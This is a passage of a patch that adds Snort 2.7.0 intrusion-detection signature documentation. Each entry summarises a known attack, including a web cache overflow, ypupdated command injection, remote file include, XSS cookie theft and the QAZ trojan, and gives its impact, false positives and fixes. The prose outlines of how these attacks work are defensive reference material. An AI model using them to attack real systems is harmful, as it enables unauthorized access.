+of the operating system files may be protected but the entire CVS 
+directory structure and contents is vulnerable.
+
+--
+Affected Systems:
+	All versions of CVS
+	
+--
+Attack Scenarios:
+This may be an intelligence gathering activity or an attempt to log in 
+to CVS using the credentials of an authorized user.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+It is possible that an authorized user may mis-type their username.
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disable the CVS daemon in the file /etc/inetd.conf. Run the CVS daemon 
+as a user other than root that does not have a valid login to the 
+machine.
+
+Disable anonymous cvs access to the server where appropriate.
+
+Maintain checks on the password database and the CVS repository.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+CVS:
+http://www.cvshome.org/docs/
+
+--
--- snort-2.7.0.orig/doc/signatures/1498.txt
+++ snort-2.7.0/doc/signatures/1498.txt
@@ -0,0 +1,64 @@
+Rule:  
+
+--
+Sid:
+1498
+
+--
+Summary:
+This event is generated when an attempt is made to execute a directory
+traversal attack.
+
+--
+Impact:
+Information disclosure. This is a directory traversal attempt which can
+lead to information disclosure and possible exposure of sensitive
+system information.
+
+--
+Detailed Information:
+Directory traversal attacks usually target web, web applications and ftp
+servers that do not correctly check the path to a file when requested by
+the client.
+
+This can lead to the disclosure of sensitive system information which may
+be used by an attacker to further compromise the system.
+
+--
+Affected Systems:
+
+--
+Attack Scenarios:
+An authorized user or anonymous user can use the directory traversal 
+technique, to browse folders outside the ftp root directory. Information
+gathered may be used in further attacks against the host.
+
+--
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Upgrade the software to the latest non-affected version.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+
+--
--- snort-2.7.0.orig/doc/signatures/1386.txt
+++ snort-2.7.0/doc/signatures/1386.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+1386
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft SQL.
+
+--
+Impact:
+Information gathering and data integrity compromise. Possible unauthorized
+administrative access to the server or application.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to an implementation of Microsoft SQL server or client.  This can
+lead to unauthorized access and possibly escalated privileges to that of 
+the administrator. Data stored on the machine can be compromised and 
+trust relationships between the victim server and other hosts can be 
+exploited by the attacker.
+
+--
+Affected Systems:
+
+--
+Attack Scenarios:
+An attacker can access the authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Disallow administrative access from sources external to the protected
+network.
+
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/2328.txt
+++ snort-2.7.0/doc/signatures/2328.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+Sid:
+2328
+
+--
+Summary:
+This event is generated when an attempt is made to access the
+authentication_index.php script which contains known vulnerabilities and
+is part of  the phpGedView CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in the phpGedView CGI web application running on a server.
+Multiple vulnerabilities exist in the application which can lead to the
+execution of arbitrary code of the atttackers choosing.
+
+--
+Affected Systems:
+	phpGedView
+
+--
+Attack Scenarios:
+An attacker can supply code of their choice by including a file in
+paramters supplied to the script.
+
+--
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/1242.txt
+++ snort-2.7.0/doc/signatures/1242.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid:
+1242
+
+--
+Summary:
+This event is generated when an attempt is made to access the .ida Indexing Service ISAPI filter. 
+
+--
+Impact:
+Intelligence gathering activity. If an .ida file is erroneously shared from a network share, an error message is returned from a request that contains the share path will be disclosed.
+
+--
+Detailed Information:
+Microsoft Internet Information Service (IIS) installs several Internet Service Application Programming Interface (ISAPI) extensions.  The .ida ISAPI filter provides support for administrative scripts.  Files with the .ida suffix should not be located on network shares.  If an attempt is made to access them from a network share, an error message is returned disclosing the share path.  
+
+--
+Affected Systems:
+Hosts running IIS 4.0
+Hosts running IIS 5.0
+
+--
+Attack Scenarios:
+An attacker can attempt to access a file with the .ida suffix in an attempt to receive an error message with disclosure about the share path.
+
+--
+Ease of Attack:
+Simple. 
+
+--
+False Positives:
+The HotSaNIC (hotsanic.sourceforge.net) System and Network Info Centre
+can graph the occurence of worms attacks on a server against time. The
+HotSaNIC system displays 'WEB-IIS ISAPI .ida access' attempts on the
+server in images named default.ida-year.gif, default.ida-month.gif,
+default.ida-week.gif and also using a web page default.ida.html. Each
+time any of these components are accessed it generates an event.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Do not place files with the .ida suffix on a network share.
+ 
+
+--
+Contributors:
+Original rule written by Dr SuSE and C. Mayor 
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+False positive information contributed by Chris McMahon <chris@mcmahon.co.uk>
+--
+Additional References:
+
+Arachnids
+http://www.whitehats.com/info/IDS552
+
+CVE
+http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2000-0071
+
+
+--
--- snort-2.7.0.orig/doc/signatures/2559.txt
+++ snort-2.7.0/doc/signatures/2559.txt
@@ -0,0 +1,71 @@
+Rule: 
+
+--
+Sid: 
+2559
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in Oracle Application Server Web Cache.
+
+-- 
+
+Impact: 
+Serious. Possible execution of arbitrary code leading to remote
+administrative access.
+
+--
+Detailed Information:
+The Oracle Application Server Web Cache is vulnerable to a buffer
+overrun caused by poor checking of the length of an HTTP Header. If a
+large invalid HTTP Request Method is supplied to a vulnerable system, an
+attacker may be presented with the opportunity to overrun a fixed length
+buffer and subsequently execute code of their choosing on the server.
+
+--
+Affected Systems:
+Oracle Application Server Web Cache 10g 9.0.4 .0
+Oracle Oracle9i Application Server Web Cache 2.0 .0.4
+Oracle Oracle9i Application Server Web Cache 9.0.2 .3
+Oracle Oracle9i Application Server Web Cache 9.0.2 .2
+Oracle Oracle9i Application Server Web Cache 9.0.3 .1
+
+--
+
+Attack Scenarios: 
+An attacker might supply an HTTP Request Method of more than 432 bytes,
+causing the overflow to occur.
+
+-- 
+
+Ease of Attack: 
+Simple.
+
+-- 
+
+False Positives:
+None Known
+
+--
+False Negatives:
+This rule examines Oracle Web Cache server on port 7777 or 7778.  It is possible
+to configure the Oracle Web Cache server to run on different ports.  The rule
+should be configured to reflect the appropriate ports of Oracle Web Cache
+servers on your network.
+
+-- 
+
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/100000348.txt
+++ snort-2.7.0/doc/signatures/100000348.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000348
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "Ezupload Pro" application running on a webserver. Access to the file "customize.php" using a remote file being passed as the "path" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "path" parameter in the "customize.php" script used by the "Ezupload Pro" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Ezupload Pro
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.7.0.orig/doc/signatures/2126.txt
+++ snort-2.7.0/doc/signatures/2126.txt
@@ -0,0 +1,129 @@
+Rule:
+
+--
+
+Sid:
+2126
+
+--
+
+Summary:
+This event is generated when a remote attacker attempts to overflow Microsoft's
+PPTP RAS service.  
+
+--
+
+Impact:
+Administrative Compromise.  This attack may permit executation of arbitrary
+commands with the privileges of the NT SYSTEM account.
+
+--
+
+Detailed Information:
+A buffer overflow exists when a malformed SCR (Start Control Request) PPTP 
+packet is received by the PPTP RAS service.  This may permit executation of
+arbitrary commands with the privileges of root. 
+
+--
+Affected Systems:
+Windows 2000 Professional
+Windows 2000 Server
+Windows 2000 Advanced Server
+
+--
+
+Attack Scenarios:
+Exploit code can be used to attack vulnerable PPTP RAS services to obtain
+SYSTEM level access to the remote host.
+
+--
+
+Ease of Attack:
+Difficult.  Currently Sourcefire is unaware of any publicly available 
+exploits for this vulnerability.
+
+--
+
+False Positives:
+PPTP clients that violate RFC2637 by generating overly long Host Name and
+Vendor Strings could potentially trigger this rule inadvertently.
+
+--
+
+False Negatives:
+None Known.
+
+--
+
+Corrective Action:
+Microsoft as released the following patches to correct the problem:
+
+Microsoft Windows 2000 Professional SP3:
+
+    Microsoft Patch Q329834
+    http://www.microsoft.com/windows2000/downloads/critical/q329834/default.asp?FinishURL=%2Fdownloads%2Frelease%2Easp%3FReleaseID%3D43606%26redirect%3Dno
+
+Microsoft Windows 2000 Server SP3:
+
+    Microsoft Patch Q329834
+    http://www.microsoft.com/windows2000/downloads/critical/q329834/default.asp?FinishURL=%2Fdownloads%2Frelease%2Easp%3FReleaseID%3D43606%26redirect%3Dno
+
+Microsoft Windows 2000 Advanced Server SP3:
+
+    Microsoft Patch Q329834
+    http://www.microsoft.com/windows2000/downloads/critical/q329834/default.asp?FinishURL=%2Fdownloads%2Frelease%2Easp%3FReleaseID%3D43606%26redirect%3Dno
+
+Microsoft Windows 2000 Terminal Services SP3:
+
+    Microsoft Patch Q329834
+    http://www.microsoft.com/windows2000/downloads/critical/q329834/default.asp?FinishURL=%2Fdownloads%2Frelease%2Easp%3FReleaseID%3D43606%26redirect%3Dno
+
+Microsoft Windows 2000 Advanced Server SP2:
+
+    Microsoft Patch Q329834
+    http://www.microsoft.com/windows2000/downloads/critical/q329834/default.asp?FinishURL=%2Fdownloads%2Frelease%2Easp%3FReleaseID%3D43606%26redirect%3Dno
+
+Microsoft Windows 2000 Professional SP2:
+
+    Microsoft Patch Q329834
+    http://www.microsoft.com/windows2000/downloads/critical/q329834/default.asp?FinishURL=%2Fdownloads%2Frelease%2Easp%3FReleaseID%3D43606%26redirect%3Dno
+
+Microsoft Windows 2000 Server SP2:
+
+    Microsoft Patch Q329834
+    http://www.microsoft.com/windows2000/downloads/critical/q329834/default.asp?FinishURL=%2Fdownloads%2Frelease%2Easp%3FReleaseID%3D43606%26redirect%3Dno
+
+Microsoft Windows 2000 Terminal Services SP2:
+
+    Microsoft Patch Q329834
+    http://www.microsoft.com/windows2000/downloads/critical/q329834/default.asp?FinishURL=%2Fdownloads%2Frelease%2Easp%3FReleaseID%3D43606%26redirect%3Dno
+
+Microsoft Windows XP Home SP1:
+
+    Microsoft Patch Q329834
+    http://download.microsoft.com/download/whistler/Patch/Q329834/WXP/EN-US/Q329834_WXP_SP2_x86_ENU.exe
+
+Microsoft Windows XP Professional SP1:
+
+    Microsoft Patch Q329834
+    http://download.microsoft.com/download/whistler/Patch/Q329834/WXP/EN-US/Q329834_WXP_SP2_x86_ENU.exe
+
+Microsoft Windows XP 64-bit Edition SP1:
+
+    Microsoft Patch Q329834
+    http://download.microsoft.com/download/whistler/Patch/Q329834/W64XP/EN-US/Q329834_WXP_SP2_ia64_ENU.exe
+
+--
+
+Contributors:
+Sourcefire Research Team
+Matthew Watchinski (matt.watchinski@sourcefire.com)
+
+--
+
+Additional References:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-1214
+http://www.securityfocus.com/bid/5807
+
+
+--
--- snort-2.7.0.orig/doc/signatures/3217.txt
+++ snort-2.7.0/doc/signatures/3217.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3217
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/3411.txt
+++ snort-2.7.0/doc/signatures/3411.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3411
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/2414.txt
+++ snort-2.7.0/doc/signatures/2414.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+2414
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in the handling of ISAKMP data and SA keys.
+
+--
+Impact:
+Serious
+
+--
+Detailed Information:
+The Internet Security Association and Key Management Protocol (ISAKMP) 
+is used as a framework for an authentication method between peers using 
+secure keys.
+
+ISAKMP is a framework for authentication using cryptographic keys. It 
+specifically defines the process of key exchange as opposed to the 
+generation of a cryptographic key.
+
+ISAKMP also details the procedures for the required security 
+associations in network security services.
+
+--
+Affected Systems:
+	Kame Racoon
+
+--
+Attack Scenarios:
+The attacker may attempt to delete keys and security associations in
+hosts running the KAME IKE Daemon.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+ISAKMP:
+http://www.networksorcery.com/enp/protocol/isakmp.htm
+
+RFC:
+http://www.ietf.org/rfc/rfc2407.txt
+http://www.ietf.org/rfc/rfc2408.txt
+
+IANA:
+http://www.iana.org/assignments/isakmp-registry
+
+--
--- snort-2.7.0.orig/doc/signatures/2088.txt
+++ snort-2.7.0/doc/signatures/2088.txt
@@ -0,0 +1,87 @@
+Rule:
+
+--
+Sid:
+2088
+
+--
+Summary:
+vulnerability in the rcp service ypupdated.
+
+--
+Impact:
+Information disclosure and possible code execution.
+
+Unauthorized super user access to the vulnerable host resulting in a 
+compromise of all data on the host and any network resources that host 
+is connected to. Full control of the victim is gained.
+
+--
+Detailed Information:
+The ypupdated service is used in conjunction with NIS servers to 
+remotely update changes made in NIS databases.
+
+On recieving a request the yupdated service executes a make command 
+using the Bourne shell. It is possible to execute code using 
+metacharacters in the request.
+
+Commands and code after the metacharacters in the request will be 
+executed with the privileges of the super user on the vulnerable system.
+
+--
+Affected Systems:
+	HP-UX 10.1, 10.10 and 10.20
+	
+	IBM AIX 3.2 and 4.1
+	
+	NEC EWS-UX/V (Rel4.2MP), (Rel4.2)
+	NEC UP-UX/V (Rel4.2MP)
+	NEC UX/4800 (64)
+	
+	SGI IRIX 3.2, 3.3, 3.3.1, 3.3.2, 3.3.3
+	SGI IRIX 4.0, 4.0.1 T, 4.0.1,4.0.2, 4.0.3, 4.0.4 T, 4.0.4 B, 4.0.4, 4.0.5 IPR, 4.0.5 H, 4.0.5 G, 4.0.5 F, 4.0.5 E, 4.0.5 D, 4.0.5 A, 4.0.5 (IOP), 4.0.5
+	SGI IRIX 5.0, 5.0.1, 5.1, 5.1.1, 5.2, 5.3 XFS, 5.3
+	SGI IRIX 6.0, 6.0.1 XFS, 6.0.1
+	
+	Sun SunOS 4.1 PSR_A, 4.1, 4.1.1, 4.1.2, 4.1.3 c, 4.1.3 _U1, 4.1.3, 4.1.4 -JL, 4.1.4
+
+--
+Attack Scenarios:
+The attacker needs to craft a specially formulated request to the 
+rpc.ypupdated service containing a long username. An exploit for this 
+vulnerability exists.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Apply pacthes for the affected systems as soon as possible.
+
+Disable the rpc.ypupdated daemon.
+
+Disallow all RPC requests from external sources and use a firewall to 
+block access to RPC ports from outside the LAN.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq:
+http://www.securityfocus.com/bid/1749
+
+--
--- snort-2.7.0.orig/doc/signatures/1645.txt
+++ snort-2.7.0/doc/signatures/1645.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1645
+
+--
+Summary:
+This event is generated when an attempt is made to access /testcgi on a 
+web server. This may indicate an attempt to exploit a cross-site 
+scripting vulnerability that affects Ceilidh.
+
+--
+Impact:
+Arbitrary code execution, possible session hijack.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a 
+cross-site scripting vulnerability in Ceilidh, web-based discussion 
+software released by Lilikoi Software, Inc. An attacker can craft a URL 
+that passes malicious code to testcgi.exe. If a legitimate user 
+activates the URL, malicious code may be executed on the client 
+computer.
+
+--
+Affected Systems:
+All web servers that Ceilidh 2.6 or 2.7 are vulnerable.
+All clients that access Ceilidh 2.6 or 2.7 are vulnerable.
+
+--
+Attack Scenarios:
+An attacker may craft a script that obtains the user's session cookie, 
+thereby allowing the attacker to pose as the user for the duration of 
+the session.
+
+--
+Ease of Attack:
+Simple. A proof of concept exists.
+
+--
+False Positives:
+If a legitimate remote user accesses testcgi.exe, this rule may generate
+an event. 
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Sourcefire Technical Publications Team
+
+--
+Additional References:
+
+Bugtraq
+http://www.securityfocus.com/bid/7214
+
+Nessus
+http://cgi.nessus.org/plugins/dump.php3?id=11610
+
+--
--- snort-2.7.0.orig/doc/signatures/477.txt
+++ snort-2.7.0/doc/signatures/477.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+
+Sid:
+477
+
+--
+
+Summary:
+This event is generated when a network host generates an ICMP source quench
+datagram.
+
+--
+
+Impact:
+ICMP source quench message are generated by gateway devices that no longer
+have the buffer space needed to queue datagrams for output to the next route.
+This could be an indication of a routing problem, network capacity problem, 
+or on going Denial of Service attack.
+
+--
+
+Detailed Information:
+ICMP source quench messasges are generated when a gateway device runs out
+of buffer space to process incoming network traffic.  This is an informational
+message that is generated in an attempt to inform the remote host generating
+the traffic to limit the speed at which it is sending network traffic to
+the remote host.
+
+--
+
+Attack Scenarios:
+Denial of Service.  Attackers could potenially use ICMP source quench datagrams
+to rate limit a remote host that listens to unsolicited ICMP source quench 
+datagrams.   
+
+--
+
+Ease of Attack:
+Numerous tools and scripts can generate this type of datagram.
+
+--
+
+False Positives:
+Legitimate source quench datagrams will trigger this rule.
+
+--
+
+False Negatives:
+None known
+--
+
+Corrective Action:
+Use ingress filtering to block incoming ICMP source quench datagrams.
+
+--
+
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Matthew Watchinski (matt.watchinski@sourcefire.com)
+
+--
+
+Additional References:
+http://www.whitehats.com/info/IDS238
+
+
+--
--- snort-2.7.0.orig/doc/signatures/829.txt
+++ snort-2.7.0/doc/signatures/829.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+829
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/1728.txt
+++ snort-2.7.0/doc/signatures/1728.txt
@@ -0,0 +1,57 @@
+Rule:
+
+--
+Sid:
+1728
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known vulnerability in the ftp server included with version 2.6 of the Sun Solaris operating system.
+
+--
+Impact:
+Serious.
+
+--
+Detailed Information:
+An error in the ftp daemon supplied with version 2.6 of Sun's Solaris operating system can cause the daemon to overflow a buffer and generate a core file that is world readable.
+
+The attacker may also be able to fill the disk partition by generating core files.
+
+--
+Affected Systems:
+Sun Solaris 2.6
+
+--
+Attack Scenarios:
+An attacker can use a non-standard ftp client or initiate a session with the ftp server and issue a CWD ~ command. The attacker may then be able to read the core file and recover usernames and passwords for other users on the system
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Upgrade to the latest non-affected version of the software
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+
+--
--- snort-2.7.0.orig/doc/signatures/1540.txt
+++ snort-2.7.0/doc/signatures/1540.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+Sid:
+1540
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a ColdFusion web server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases. Denial of
+Service is possible.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running Coldfusion. Many known vulnerabilities exist for this platform and 
+the attack scenarios are legion.
+
+--
+Affected Systems:
+	All systems running ColdFusion
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Many exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/108.txt
+++ snort-2.7.0/doc/signatures/108.txt
@@ -0,0 +1,99 @@
+Rule:
+
+--
+Sid:
+108
+
+--
+Summary:
+QAZ is a Trojan Horse.
+
+--
+Impact:
+Possible theft of data and control of the targeted machine leading to a compromise of all resources the machine is connected to.
+
+--
+Detailed Information:
+This Trojan affects the following operating systems:
+
+	Windows 95
+	Windows 98
+	Windows ME
+	Windows NT
+	Windows 2000
+	Windows XP
+
+No other systems are affected. This is a windows executable that makes 
+changes to the system registry.
+
+The Trojan changes system startup files and registry settings to add the
+QAZ sever to programs normally started on boot.
+
+	SID	Message
+	---	-------
+	108	QAZ Worm Client Login access
+	731	Virus - Possible QAZ Worm (Indicates worm activity)
+	775	Virus - Possible QAZ Worm Infection (Indicates worm activity)
+	733	Virus - Possible QAZ Worm Calling Home (Indicates the worm is trying to send mail)
+
+--
+Attack Scenarios:
+This Trojan may be delivered to the target in a number of ways. This event is indicative of an existing infection being activated. Initial compromise can be in the form of a Win32 installation program that may use the extension ".jpg" or ".bmp" when delivered via e-mail for example.
+
+--
+Ease of Attack:
+This is Trojan activity, the target machine may already be compromised. Updated virus definition files are essential in detecting this Trojan.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+
+This is a particularly difficult Trojan to remove and should only be attempted by an experienced Windows Administrator.
+
+Edit the system registry to remove the extra keys or restore a previously known good copy of the registry.
+
+Affected registry keys are:
+
+	HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Current Version\Run
+
+Registry keys added are:
+
+	StartIE=C:\WINDOWS\notepad.exe qazwsx.hsq
+
+This will start the Trojan each time notepad is executed.
+
+Look for the existence of the file note.com. The file notepad.exe may have been replaced with a Trojaned version that is approximately 120 kb in size (the original is 52 kb).
+
+A machine reboot is required to clear the existing process from running in memory.
+
+--
+Contributors:
+Original Rule Writer Max Vision <vision@whitehats.com>
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Whitehats arachNIDS
+http://www.whitehats.com/info/IDS501
+http://www.whitehats.com/info/IDS498
+http://www.whitehats.com/info/IDS499
+
+McAfee
+http://vil.nai.com/vil/content/v_98775.htm
+
+Symantec Security Response
+http://securityresponse.symantec.com/avcenter/venc/data/w32.hllw.qaz.a.html
+
+Diamond Computer Systems Security Advisory
+http://www.diamondcs.com.au/web/alerts/qaz.htm
+
+--
--- snort-2.7.0.orig/doc/signatures/100000555.txt
+++ snort-2.7.0/doc/signatures/100000555.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid:
+100000555
+--
+Summary:
